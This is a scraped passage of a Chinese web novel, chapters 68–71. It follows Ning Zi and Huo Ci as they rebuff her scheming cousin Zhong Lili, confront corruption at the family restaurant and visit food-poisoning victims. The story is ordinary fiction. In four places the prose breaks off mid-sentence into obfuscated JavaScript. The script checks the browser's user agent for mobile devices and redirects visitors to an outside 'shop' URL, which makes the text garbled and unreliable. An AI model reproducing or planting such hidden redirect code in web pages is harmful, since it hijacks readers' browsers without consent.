这个吻漫长而热烈,她也终于尝到酸甜的滋味。车内太过安静,就连滚烫的呼吸声都令人面红耳赤,她的手指不自觉抓住他胸前的衣料。脑子里不自觉想,明明在生气呢,怎么就突然间变成这样了? 本以为这件事不过是一件小插曲,没想到还有后续。 周日上午,霍辞穿着睡衣套装走到客厅里,顺手拿起桌上的文件看,耳畔忽然回响起宁姿平时不厌其烦唠叨他要吃早餐的话,于是又把文件放下,走去厨房加热了两片土司,冲了一杯咖啡,之后再度回到客厅,一边吃早餐一边看文件。 刚咽下最后一口吐司,咖啡还剩了小半杯,门铃声忽然响起,他走去开门。原本以为是环保材料的样品寄来了,没想到开门后看见的不是快递员,而是一名年轻的女性。她长发披散着,穿了件白色半袖长裙,风格和宁姿有点像。 霍辞记性向来很好,一眼就认出了是宁姿的表妹钟荔荔。 看见他时,她脸上的笑容瞬间加深,“霍辞哥哥,你好。” 霍辞强压下心头升起的那股烦躁感,“钟小姐。” 她手上还提着一袋坚果,“我是专程来拜访你的,请问可以进去吗?” 霍辞没说可以,也没把门口让开的意思,微蹙着眉头问:“你怎么知道我家住哪里?” “向霍亦辰打听来的,上次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175325|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还衣服的事似乎引起了误会,我心里实在过意不去,这才亲自登门道歉。”她刻意以一种生疏的方式称呼霍亦辰。 霍辞听后一挑眉梢,“不向宁姿道歉,反倒来找我?” 钟荔荔搓了下手,表情有些尴尬,“表姐不肯接我的电话,一定是生气了。我担心贸然去找她,恐怕会惹得她更加不高兴,实在没办法才来找霍辞哥哥,希望你替我劝一劝她。” “看来我的脾气非常好。”霍辞状似无意道,“一通电话的事倒劳烦你大清早跑这一趟。” “道歉得有诚意,我特意带了礼物。”她扬了下手中的礼品袋,缓缓道,“不打算邀请我进去坐?” 霍辞撤开身,情绪没有一丝波动。 钟荔荔走进门,柔声问:“要换拖鞋吗?我的鞋码和宁姿的差不多。” 霍辞拿了双鞋套给她,她也没说什么,弯腰穿鞋套。 “你先去客厅沙发坐,我去换身衣服。”他留下一句,随后走进卧室,不忘把放在茶几上的文件夹一起拿走。 换好衣服回到客厅时,却见钟荔荔靠在沙发上睡着了。她的唇角维持上翘的弧度,呼吸均匀,衣领有点大,滑落至一侧,露出小半个香肩。 霍辞面色一冷,走到她面前,居高临下俯视她,叫了声“钟小姐”。她涂满了娇粉色唇蜜的嘴唇动了动,依然没有睁眼,反而抬起手攥紧他的衣摆。 霍辞毫无耐心,“别装睡,有什么话直接说。” 即便如此不留情面地拆穿,对方依然很有信念感。她使了力,拉他一同坐下,身子一歪直往他怀里钻,手趁机往他腰间乱摸。霍辞捏紧拳头,努力克制自己才忍住没朝她挥过去,而是用关节处抵住她的头,另一只手迅速劈开她的手,疼得她“嗷”的惨叫一声。 他坐在沙发上冷眼看她,钟荔荔不情不愿地睁开眼,眼眶里积蓄了泪光,嗔怪道:“你这人,怎么一点都不懂得怜香惜玉呢?” 霍辞不吃这套,“如果你选在晚上拜访,我连门都不会让你进。现在让你进来,是因为你是她的表妹,并且我需要知道,你还想搞什么花样?” 钟荔荔毫不避讳,“我想要的很简单,只是得到你而已。霍辞哥哥,我一直很羡慕表姐可以和你这么优秀的男人在一起。” “不是羡慕,是嫉妒,也不只是因为我,你从很早以前就在敌视她,陷害她。”他淡声纠正。 “我一点也不比她差。”钟荔荔直接承认了,“对你的渴望也一点不比她少。就算是有想赢过她的因素,也是真心实意想和你在一起。我知道你们已经订婚了,霍老夫人不会眼睁睁看着你们分开,也理解你对她或许有眷恋不舍,我不会逼你做选择,所有的一切我都能包容、理解。只希望能和你在一起,哪怕必须背着所有人,见不得光。” 她眼泪盈目,鼻尖微微发红,看起来很可怜,小声说:“霍辞哥哥,我只求你能接受我的感情。” “这么委屈自己?”霍辞低头直视她。 钟荔荔仰起脸迎向他的目光,“我不觉得委屈,反而甘之如饴。” “可惜听了你这番话,我会觉得食不下咽。”霍辞依然一瞬不瞬盯着她的脸。 钟荔荔忽然觉得就残忍这方面而言,比起霍亦辰,他有过之而无不及。她颜面尽失,憋得脸像晒干的黄花菜一样萎靡,半天滑下一颗泪,哭诉道:“太过分了……” “他的过分,你还没见识到十分之一。” 一声清冷的声音传来,门开了,当宁姿的身影出现在客厅里的那一刻,一种奇妙又紧迫的气氛笼罩了整片区域。 她扬起手中的手机,屏幕亮着,显示正在和霍辞通话。霍辞从容起身走到她身边,单手揽住她纤薄的肩,“听完了全程,不许冤枉人。” “即便相信,也可以生气,跟某人学的。”她狡黠地眨了下眼。 天道好轮回,这下他也只有无奈的份。 随后,宁姿瞟了眼被晾在一旁一脸呆滞的钟荔荔,微笑道:“好表妹,真是花样百出啊。” 69. 第六十九章 自从霍辞住进新买的大平层后,宁姿隔三差五总爱往这边跑,因为向西的落地窗外是广阔壮丽的江景。午后阳光的金辉洒在江面上,粼粼跃金,她瘫在懒人沙发上看书,这种感觉别提多惬意。 霍辞也提出过让她搬来住,把主卧让给她,自己睡客房,被她想也不想果断拒绝。 今早来他的家里,宁姿没有提前打电话告知,都到楼下了,却接到他的电话,接通后听见钟荔荔的声音,于是她一边上楼一边听电话里的动静,简直把人给气笑了。虽然早知道她这表妹不是个好东西,但也没料到这么没有底线,不知道上一世她是不是也以这样一副厚脸皮倒贴的态度介入自己和霍亦辰的婚姻呢?答案不得而知。 此时此刻,宁姿靠在霍辞怀里,双手抱臂睨着钟荔荔,感叹道:“好表妹,真是花样百出啊。” 钟荔荔咬了下嘴唇,站起身,整理了一下领口,“没想到表姐会来,早知道我就不来了,免得惹你不高兴。” “我怎么会不高兴呢?一大早就看了出好戏,真是精彩极了。”宁姿眨了眨眼,调皮笑道。眼看钟荔荔脸色都发绿了,她随手指向桌上的大袋子,“买了很多菜,来都来了,留下吃顿饭再走吧。” “不用。” 钟荔荔正要走,被宁姿伸手拦住,“想来就来,想走就走,当这里是什么地方?还是说你怕了,见了我只知道夹着尾巴逃走?也对,毕竟从小到大,你只会用那些上不了台面的手段。” 钟荔荔咬了咬牙,挤出一个阴险的笑容,“既然表姐盛情难却,我就不推辞了,正好我也很喜欢这里。” 她意有所指,宁姿也只是平淡地笑了笑。霍辞却不明就里,疑惑地看向宁姿。 宁姿把他拉到一边,说:“与其让她继续打你的主意,不知道什么时候又来找事,还不如彻底让她死心。” “所以你的计划是?”他纵容地笑了下。 “秀恩爱。” 她小得意的模样实在可爱,令他忍不住捏了下她的鼻尖,“保证完成任务。” 厨房里,宁姿在择菜,霍辞负责清洗,她关心道:“你的文件报表那些都放好了吗?防人之心不可无。” “锁在房间里。”他身子斜靠在橱柜边缘,悠然问道,“你现在在做什么?” “择菜。”她手上动作不停,目光还不时往客厅方向瞟。 霍辞失笑,“菜叶都被你摘下来扔了,我们午饭吃什么?” “失误,失误,我不会再分心。”宁姿讪笑。 厨房门被敲了三声响,两人同时看过去,钟荔荔挂着招牌微笑走了进来,嘴里还在问:“请问我可以进来吗?不会打扰到你们吧?” “你已经进来了,打不打扰还重要吗?”宁姿无情戳穿。 钟荔荔没有半点不高兴,依然面不改色,“你们都在厨房里忙,就我一个人在客厅里等着吃好像不太好。表姐向来不擅长厨艺,今天来得巧,不如让我来露一手吧。” 霍辞正打算拒绝,宁姿却忽然挽住他的胳膊,扬起个虚假的笑,抢话道:“好久都没吃到荔荔做的菜了,咱们一定要给她一个机会。” 钟荔荔搞不清楚她葫芦里卖的什么药,但还是抓住机会打算问霍辞想让自己怎么配合他。宁姿又抢了她的话,“那就辛苦你了,我们去客厅等着开饭。” 钟荔荔简直是目瞪口呆,看着宁姿挽着霍辞走出厨房,不忘朝她挥了下手,她差点气到两眼一翻。 客厅里,两人在沙发上坐下,宁姿忍不住往厨房方向转头,喃喃道:“她不会往饭菜里下毒吧?” “现在知道怕了?”霍辞剥了颗龙眼,放入她口中。 她含混不清道:“不怕,她还没那么癫。” 做完午饭后,钟荔荔把菜端到餐厅里,原本精心打理过的刘海微微泛着油光,有些凌乱。看着露出疲态的她,宁姿脚步轻盈走进厨房,歪了下头,“看在你做了一桌好菜的份上,今天跑来胡言乱语这笔账,我就不跟你算了。” 钟荔荔在看见霍辞走来时强行把难看的表情压下去,整理了一下自己额前的发丝,“食材有限,简单做了几个菜,希望霍辞哥哥不要嫌弃。” “我很好奇,你一向管霍亦辰叫‘哥哥’,霍辞和他可是差了辈的,怎么能也叫‘霍辞哥哥’呢?”宁姿挨在墙边,眯笑着眼问。 钟荔荔答,“我自然随表姐这边的关系叫。” 宁姿翻了下眼睛,顺口道:“那不是该叫‘表姐夫’。” “你们毕竟还没有正式结婚……”钟荔荔装作为难,瞄了眼霍辞的反应。 他双目微微睁大,眸中光彩现出,惊喜之色毫不掩饰,“某人既然都那么说了,是不是该以身作则先叫我一声‘老公’?” 宁姿赶紧站直,努力镇定地朝餐桌走,心里懊悔挖个坑把自己埋了,只能生硬地转移话题,“快吃饭,我好饿。”说完话,率先坐下。 她努力装作没事发生的样子让霍辞忍不住轻笑,坐在她身边。钟荔荔没有询问主人安排的意思,毫不客气地坐在霍辞对面。 “好久都没有亲自下厨了,不知道手艺有没有退步,记得从前姐姐你最喜欢吃这道红烧排骨,我特意向妈妈学来,让你回忆一下童年的味道。千万不要客气,多吃一点。”她俨然一副女主人的姿态。 宁姿微扬嘴角,“你倒是一点都不客气。” 钟荔荔像没听到她的话一样,又夹了块排骨放进霍辞的碗里,“霍辞哥哥,你尝一尝。” 宁姿偏过头朝向他,饶有兴致的模样。 霍辞实在无奈,视线定在对面的钟荔荔脸上,冷淡道:“我不喜欢除未婚妻以外的人给我夹菜,请不要再这么做。” 随后细心地用筷子把骨头剔出去,肉送到宁姿的碗中,“不能浪费食物,替我吃掉,好不好?” 宁姿心里爽极了,一口吃掉那块肉,煞有介事点评道:“油和糖放得太多,有点闷,味道比不上它的外表,实在可惜。” 钟荔荔郁郁地埋头吃了口白米饭,食不下咽,反击道:“姐姐点评得像模像样,看来厨艺精进了不少。” 这句话说得宁姿哑口无言,就做饭这方面,她实在没什么天赋,也没兴趣钻研。 霍辞夹了一片炒青菜到她碗里,柔声道:“她做喜欢的事就行,我的厨艺受到了她的认可,以后一起生活没有问题。” 钟荔荔的表情有些难看,“但霍辞哥哥要忙于生意上的事,总不能时刻操心生活琐事。” “所谓生意就是和金钱打交道而已,容易得很。倒是她走建筑设计这条路,需要灵感和大量知识积累,不能被耽误。”他慢悠悠道,“况且和她一起体验的一切都不算琐事,而是生活乐事。” 听完后,宁姿简直想起立为他鼓掌,说得太好了。 钟荔荔嘴巴嗫喏几下,半晌后才幽幽说了句,“表姐好命,别人羡慕不来。” 宁姿连多和她说句话都觉得浪费口水,索性当没听见,拿大勺子盛了碗海鲜粥。这几天有些过敏,不敢吃海鲜,又想尝味道,于是不厌其烦把粥里的海鲜挑到了空碗里。 霍辞举止自然地把空碗拿到自己面前,替她吃掉她不吃的海鲜,二人间的默契尽显。 这顿饭的后半段吃得很沉默,钟荔荔终于醒悟到,这两人间的感情是她难以撼动的,不必再白费力气。 · 周日下午,宁姿接到了一通电话,是“红鼎轩”的股东朱敬打来的。朱敬占股份较多,在“红鼎轩”内主管前厅服务部门。宁姿和他没什么私交,因此接到他的来电时,有些意外。 她才刚问了声好,电话对面就传来中年男人焦急的声音,“宁姿,我们见一面吧。” 约在河边的一间茶楼见, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他毫不犹豫回答,“我不认同钟腾的经营理念。他和追随他的那帮人没少捞油水,一个个吃得肥肠满肚,这些在餐饮行业不算什么新鲜事,本来睁一只眼闭一只眼也就过去了。但最近他越来越过分,捏造额外服务追加顾客消费,与供应商串通,私下收取回扣,现在连食品安全都出了问题,根本就是自寻死路。我也不是什么正义之士,私心想收获分红利润,舒舒服服地赚钱。有人要做出杀鸡取卵这种损人利己的事,我决不能放任。” “感谢您的坦率,如果我说需要钟腾做这些事的实质性证据,您是否能拿出来?”宁姿喜欢和直白的人说话,也开门见山了。 朱敬有些犹豫,厚实的嘴皮子动了动,到底没作声。宁姿不急,莞尔一笑,“您不用现在就回答,想好了随时联系,不论您的决定如何,我都非常理解。言归正传,联系不上钟腾,就算联系上,恐怕意义也不大,其他股东也是打太极的态度,但是有一个人,我们可以立刻见到他。” 朱敬的目光有些疑惑,但没张口问,跟着她一路到后厨。只见原本气质淡然的女孩忽然摆出飞扬跋扈的大小姐姿态,当着后厨一干工作人员的面一一挑剔—— “垃圾没有及时清理,地面有水渍。” “这些食材看起来就不新鲜,说不定已经变质了。” “你们洗过手了吗?不注意卫生会对食品造成污染。” 大堂经理大步走进来,赶苍蝇似的朝周围的员工挥挥手,实则是表达对宁姿的不满,“还不够忙吗?是谁自作主张把闲杂人等放进来的?” 这戏实在太假,宁姿噗嗤一声乐了,“就算你认不出我,也不该直接失明,连股东都不认识了吧?” 紧接着收起笑容,语气颇为严厉道:“原谅你这一次,但务必记牢,把我的样子深深刻入你的脑子里。我只介绍一次,我的名字叫宁姿,是‘红鼎轩’创始人宁志明、钟婧夫妇的独生女儿,也是‘红鼎轩’名正言顺的唯一合法继承人。” 70. 第七十章 此时此刻,厨房里站了五名厨师、两名洗碗工和四名服务人员,再加上宁姿、朱敬、大堂经理,统共十四人,现场却静默一片,只有没关上的水龙头还在哗哗流水。 基层员工大气都不敢出,躲在角落里垂着头不吭声,神仙打架,他们身为底下的池鱼生怕殃及到自己。 宁姿没有为难他们的意思,不过是刻意挑刺,见到自己真正想见的人,一抬眉,“现在弄清楚我是谁了吗?” “原来是宁小姐。”大堂经理大而圆的脸上皮笑肉不笑,“你刚才说的那些话我不认同。厨余垃圾随时都在产生,不可能保证立刻清理。我们后厨一向是把垃圾分类装好,集中在一处,隔一段时间统一清理,否则人力成本太高。地面也是隔一小时清理一遍,至于你说的水渍,就算有也很正常。采买的都是高品质食材,每日特供,保证新鲜。员工们注重个人卫生,绝对清洁到位。” 他面色不善,瞄了朱敬一眼,“不知道是什么人安坏心在你耳边吹风,你又年纪小,没见过世面,才说出刚才那些乱七八糟的话来。别让人利用,反惹出笑话,更糟的是伤了为‘红鼎轩’付出的员工们的心。” 宁姿发笑,“你指的该不会是你自己?不过是随口说几句,有则改之,无则加勉,犯不着上纲上线。没想到经理的心那么脆弱,简简单单几句话就给伤到了。” 大堂经理听得脸皮发青,敢怒不敢言。 她又继续以调侃的语气说:“我心知肚明现在的后厨没有任何问题,毕竟出了这么大的事故,要是钟腾还当什么都没发生过一样维持原状,岂不是蠢钝如猪?” “你口中说的那个人是你的亲舅舅,说出这种不恭敬的话,是不是太没教养?”他厉声道。 宁姿嗤笑一声,“你声称连我是谁都不知道,反倒把我家族里那层关系了解得一清二楚。” 大堂经理被这句话堵得哑口无言,气闷哼了声。 “说回正事,粉饰太平根本无济于事。采购过不合规的货品,一定会留下记录,更有人知情。安心要细查证据,就像蒙了层糊弄人的窗户纸,一捅就破。”她不缓不急道,“失去自我判断的忠心就成了愚忠,在‘红鼎轩’,钟腾做不了一辈子的主,他的想法是趁还当权,赶紧狠捞几笔,满载而退。那你们呢?打算跟着他赚昧良心的钱,冒风险时刻战战兢兢,一旦被揭露就是身败名裂,在餐饮业彻底被除名,还是愿意沉下心来细水长流,老老实实在行业里深耕?这个抉择做错了,就是万劫不复。” 宁姿看着大堂经理腿肚子颤了下,赶紧接着说:“我没兴趣教育谁,走到了今天这种局面,可想而知多数人手上是不干净的,但我不是不近人情的人,愿意给人一次改过自新的机会,就看那人抓不抓得住。” 她刻意逼近一步,疾厉道:“鸠占鹊巢久了,确实会让人产生错觉,但鸠就是鸠,即便有再大的野心和贪欲,那个位置始终不是他的。所以我今天不是来拜托你,而是下达指令,听明白了吗?” 大堂经理思索了会儿,诚惶诚恐地点了下头,弯腰鞠躬,“请宁小姐,不,请宁总吩咐。” 宁姿很满意,“第一点,市场监督管理局、卫健等相关部门前来调查,不许阻碍,全力配合。店里有什么事,向朱总请示,按他说的做。我也不为难你,如果钟腾叫你做什么,你自己先考虑清楚,什么该做,什么不该做,私底下要向我或朱总汇报。” 大堂经理一一应下,宁姿又和朱敬商讨了对策,朱敬拍胸脯保证记者这边由他来周旋,解了宁姿的后顾之忧。 傍晚,江边大平层内,霍辞电话里驳回了公司副总的改制方案,拒绝与综合体大楼展开深度合作,按照原本的计划书,地产板块恐怕会沦为配套服务商,失去主动权。 “电话里说不清楚,我去公司和你当面谈。” 挂了电话,他穿上西装外套,刚换好鞋打开门,就看见宁姿手上提着食品袋站在大门口,似乎没想到他会开门,表情明显有些错愕。 “什么时候来的?” “刚到,你是正要出去?”她轻声问。 霍辞“嗯”了一声,“综合体大楼的项目遇到了些麻烦,正打算去公司一趟。” “那你就快去。我买了炸鸡打算和你一起吃,没什么要紧事。” 霍辞盯着她看了一会儿,伸手把她拉进门去,手没松开,低声说:“一定有事,别想瞒我。” 宁姿觑着他认真的神情,笑着伸手锤了下他的胸口,“人都来了,没打算瞒你。知道你公司有事,晚一点再说,事情总要一件一件解决。” 霍辞原本轻蹙着的眉眼渐渐舒展,温声道:“我去公司一趟,你就呆在这里,哪里也不许去,自己把炸鸡吃掉,不许饿肚子。” 宁姿笑了下,“这么多‘不许、不要’的,我哪敢不听话,你也别忘了路上买些吃的垫一垫。” 等到半夜十一点,霍辞才回家来。 宁姿原本心里有些焦躁,从书房柜子里找了本感兴趣的书,窝在沙发上翻着翻着,心就平静下来,昏昏欲睡。脑袋一歪,落入一片温热柔软中。 女孩的脸贴在男人宽厚的掌心,迷蒙中觉得有些不大对劲,浓黑的睫毛颤了颤,随后睁开眼。视线对上清晰有力的喉结,沿着修长脖颈微微上移,才看清放大的英俊浓颜。 “困了就去房里睡,歪在这里,头差点磕到落地灯。”他声音里含有揶揄,视线落在她的脸上,唇角翘起,满含宠溺。 她顺势反握住他的手,哑着嗓音问:“几点钟了?” “将近十一点半,比预料中晚了许多。” “解决好了吗?”她关切道。 霍辞点头,“都在掌握中,现在该你告诉我,究竟发生了什么事?” 宁姿把事件原委向他讲述了一遍,霍辞神色严肃,“既然发生了这么严重的事故,红鼎轩内部的腐败程度一定非常深。” “红鼎轩是我父母的心血,实在不忍心看它落在奸恶的人手里,枯朽败落。”她叹了一声,眼圈微微发红。 霍辞两手按在她的肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201004|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上安慰,“这次事故或许不是件完全的坏事,我们要积极应对,采取行动。” “以后的事先不想,全神贯注把现成的危机解决了。”她垂眸。 “下一步去医院安抚病人和家属?”霍辞把她的想法看得透。 宁姿承认,“我心里急得很,今晚上就想去,好不容易忍住。” 他坐在她身边,一把将她拎过来,按在自己的怀里,“总算学聪明了,知道叫我陪你一起。” 宁姿专注地盯着他看,娇哼一声,“不敢再自己行动,毕竟你凶起来的模样是真的很可怕,像要吃人一样。” “也不看是什么时候,在谁的地盘,就说我要吃人。”霍辞眸色发沉,凑到她耳边,说话时吐出的热气烘得她耳廓红透了。 宁姿强忍着酥痒的觉受,转过脸离他远了些,温吞说:“其实我心里也有些怕,病人和家属要是情绪太过激动,做出什么事也不一定。我是专程来请你做护花使者的。” 霍辞微微低沉的声音钻入她耳中,“这个不难,可你要给我什么报酬?” 宁姿眼珠子灵巧一转,故意说:“你公司也有麻烦事要处理,我自己去医院也不是不行。” “再说一遍。”他半带威胁故意摆出一副恶狠狠的表情。 宁姿憋着笑意,佯装懵懂,“我是替你着想,通情达理。” “我已经把明天一整天空出来。” 宁姿拉着他的手,柔声道:“谢谢,还以为自己会六神无主,好在有你支持。” “你处理得很好,不要太谦虚。很晚了,早点休息,明天还有一场硬仗要打。”他低沉的声音里透着明显的疼惜。 “是时候回家了。” 宁姿站了起来,又被他抓紧手拖回沙发上,跌靠在坚实的胸口,茫然无措地抬起头与他对视。 “别走了。”他的嗓音低哑,像一片柔软的羽毛轻轻拂过她的心尖,引得不自觉一颤。 “不行……”她瞬间脸颊泛红,低头抿唇,细细出声。 霍辞轻笑,蜷起指节点了点她的鼻尖,“怕什么?我的意思是太晚了,送你回家肯定得折腾到凌晨才能休息,明天一早得出发去医院,不如留在我家里睡一晚。” 怕她不放心,又补上一句,“我去客房里睡。” 宁姿仍有些犹豫,忽然身子一轻,被他腾空抱了起来。 “就这么决定了。” 他抱得她整个人几乎快被嵌入他的怀里,宁姿忙抓紧他的衣料,“放我下来,我自己走。” 霍辞充耳不闻,抱着她一路走进卧室。她的心怦怦直跳,像揣了只疯了的兔子在四处乱蹦。霍辞轻手轻脚把她放在床上,却没离开的意思,整个人伏在她身上,间隔一个拳头的距离。 屋内没有其他动静,二人隔咫尺之距四目相对,在明亮的光线里,眸中的情愫无处遁形,清晰而直白地倒映在彼此眸底深处。 宁姿紧张得几乎忘记了呼吸,一边偏过头去,一边努力镇定说:“你干嘛压着我?” 71. 第七十一章 在暧昧的光影中,男人乌黑的眼瞳像泉水洗濯过般清冽,直勾勾凝视着面红耳赤的女孩子,喑哑着嗓音说:“学会冤枉人了。” 他视线下移,示意她看。宁姿这才发觉自己还抓着他的衣襟,顿时臊得慌,触电一般迅速松开。 霍辞从容起身,只余下雪松般清冽纯净的气息萦绕在她的鼻腔,像极了雪融后的清晨,四周都被濯洗得干净,那茂密的松林里弥散的气味。 “洗手间的抽屉里有一套全新的洗漱用品,我在隔壁客房。” 宁姿低低应了声,心中却疑惑,他一个人住,为什么多备一套洗漱用品? 有感应似的,霍辞走到房门边,忽停下脚步解释,“一直希望你能住在家里,所以把可能需要的东西给备好了,除了这些还有卸妆的用品,我不太了解,所以买了六七个不同品牌的。” 宁姿怔住了,眼神相触的一刹那,仿佛火星蹦入干燥的柴堆,热烈升腾,能点燃彼此。她不作声,他轻轻留下一句“晚安”,关上门离开。 宁姿是认床的,但是房间内、干净柔软的被褥上有他的味道,清冽又好闻,渐渐安下她的心神。 凌晨天气突变,暴雨倾盆,一记惊雷在天空炸响,她被惊醒过来。窗外密雨如织,雨珠落在窗沿边四处飞溅,发出细密的动静。漆黑的天空不时划过锋利的亮光,伴随着轰隆隆的闷雷声,气氛像极了一些灾难片的开头,有些可怖。 宁姿身体绷紧,十指抓紧被角,把整个人都埋进了被子里。记忆里也是在这样一个雷雨交加的夜晚,钟腾冷肃着一张脸告诉她,父母永远地离开了。从那以后,她就对雷声特别敏感,虽也尝试过克服,但还是失败。 又一记惊雷炸开,仿佛大地也随之震颤,宁姿被吓得缩成一团,忍不住发抖,在下一记闪电划破夜空时,她再也忍受不了,赤脚下地跑出房间。当回过神时,她已经站在客房门口,手抬起又放下。 窗外雷声仍大作不休,雨夜风凉,从足底升起一股寒气。她退缩了,在心里无奈地问自己到底在干嘛? 就在即将转身回去的那一刻,紧闭的客房门忽然开了。她瞪着圆圆的眼睛,不可置信地愣在原地。 睡眼惺忪的霍辞靠在门边,微垂着视线看向她,唇角噙着一抹若有似无的弧度。大灯被他打开,暖色明亮的光线向室外倾泻,映出门外少女纤弱的身姿,长发披肩,小脸雪白,不知被惊还是被吓得细微地打了声嗝。霍辞想笑,看清她光着的脚时,笑意顿时消散,浓眉紧锁,面色发沉。 宁姿注意到他目光的变化,抿了下唇,不知所措地蜷起脚趾,忘记了害怕,忙解释说:“打雷下雨,我担心你没盖好被子……” 话说到一半,她恨不得咬掉自己的舌头,简直是口不择言、胡言乱语。 霍辞并没听她说什么,跨前一步,吓得她往后退了半步。他眉间沟壑更深,如离弦的箭般迅速跨至她面前,令她退无可避,一手捏住她纤薄的肩,一只手臂绕过她的膝弯,熟练地把人打横抱起,惊得她又忍不住打了个嗝。 她很轻,陷在他的怀里像一团娇柔的羽毛,霍辞抱着她一路走回主卧。刚被扔到松软的床上,宁姿立刻挣扎着坐起身,“都是可以解释的。” “想解释什么?” 在他威胁的眼神下,宁姿想了许久,诚实道:“我没有什么奇怪的企图,只是打雷,有点害怕。” “有奇怪的企图,我也不介意。”霍辞坐在床边,松松地抱住她,伸手拉过被子裹住她纤细的身体,再低头亲吻她的额发,“下次记得穿鞋。” “真不是……而且也不会有下次!”她急着反驳,呼喝声随着窗外雷声轰鸣而偃旗息鼓,小声说,“被吓到,一时情急跑出去,忘记了穿鞋。” “既然都到房门口了,为什么傻站着?”霍辞问,微微低头,慢悠悠地握住她细白的手指,温柔地为她取暖。 “我突然觉得太过莽撞,有些歧义。” 她十分直白,惹得霍辞哭笑不得,双手压在她的肩头,令她躺下去,自己也脱鞋上床。宁姿看他动作,卷起被子滚到一旁,紧张得舌头打结,“你……你怎么不回自己的房间去?” “纠正一下,这里才是我的房间。”霍辞侧躺在她身边,把被子压在身下,单手支着头,昧色的台灯亮光落在眼睫上,染上一层淡金色,原本墨黑的眼瞳映出琥珀般温润的光,“不是怕吗?我在这里陪着你。” 她正想说不用,他却先一步为她掖好被角,一只胳膊横在她腰间,以一种悠缓的节奏轻轻拍,完全把她当作孩子在哄。这种感觉真舒服,忽然不想拒绝,即便仍有些害羞,依然沉溺在他的温柔里。 窗外的雷声并未消散,却不再骇人,反而变作热烈的奏鸣曲,而更引人入胜的是他均匀的呼吸声。宁姿把脸半埋在被子里,两眼弯弯像月牙,小声说:“唱歌给我听。” “得寸进尺。”他无情批判。 她灵活地一侧身,抱住他的手臂撒娇,“听见你的歌声可以转移注意力。” 见他有些动摇,又添了把柴,“你曾在我父母跟前承诺会对我好,不输给他们,可我小时候惧怕雷声,他们会唱歌哄我睡。” 霍辞实在无可奈何,清泠的声音在她耳畔认真说:“我五音不全,听了我的歌声,你恐怕更睡不着,退一步,我哼给你听好不好?” 宁姿想了想,也行,乖巧地点了点头。 霍辞清了下嗓,磁性低沉的嗓音在她耳边轻柔响起,是《半岛铁盒》的曲调,舒缓柔和,如同情人绵腻的细语,安抚她的心。听着听着宁姿睡着了,在彻底进入梦乡的前一刻低喃道:“撒谎,明明很好听。” 印象中,食物中毒的事故在上一世也发生过,但那时的宁姿不过问“红鼎轩”的情况,全心全意信任舅舅钟腾,虽然也关心过这件事,但被钟腾以对方讹诈为借口搪塞过去。风波平息之后,“红鼎轩”的业绩下滑跌入谷底,全靠霍家几次三番帮扶,但已是强弩之末,再难恢复昔日光景。 这一回,她不再糊涂信重小人,势必揪出蛀虫,拼尽全力守护父母生前倾注心血的产业。 第二日上午,霍辞陪宁姿去医院探望食物中毒的患者,两人站在楼道里商量。 “我陪你进去。” 宁姿解释,“我们来道歉,争取和解,病房里挤太多人反而不好,再说他们见我是个年轻女孩子,态度又好,没准更容易消气,不会太为难我。” 她没说的是霍辞五官浓郁锋利,气质又冷淡锐气,没准儿会起反效果,让患者及家属误会他们是来威胁人的。 “如果对方有过激反应,你立刻离开,大声叫我。”霍辞不放心,叮嘱道。 她嘻嘻一笑,“法治社会众目睽睽之下,能发生什么危险?” “盲目乐观。”霍辞实在拗不过她,只得依了她。 宁姿提着果篮进病房,向患者及家属诚恳道歉,商谈赔偿事宜。去每间病房,她脸上都挂着温和的笑容,态度令人如沐春风。或许真是看她年轻,模样生得楚楚动人,态度也好,这些患者和家属从一开始态度冷漠防备,到后来都愿意心平气和坐下来好好商量。 “我们饭店积极配合官方停业整改,大家的医药费、误工费、营养品费实报实销,额外弥补赔偿的费用我们也是责无旁贷,绝无二话。”这些并不是安抚人的场面话,她由衷而发,“实在抱歉,给大家带来不好的体验,如果愿意的话,可以再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女人当即目露凶光,“你这个小姑娘心怎么这么狠?他都那么难受,还想着折腾人呢?你就没爹没妈?这把年纪的人因为你们受这么大罪,不会良心不安?” 这句“没爹没妈”像一根刺扎进宁姿心上,她反驳道:“是你说你丈夫因这次事故肾脏受损,我出于负责的态度提出让他做检查,没有任何不妥的地方,请你说话放尊重一些。” “要不是你们这些无良商家害我们食物中毒,我们也不会在这里受罪。毁了我亲戚的婚礼不说,还差点害出人命,居然还有脸说让我尊重你,呸!不给你点颜色看看,是真要踩在老娘头上撒野了!” 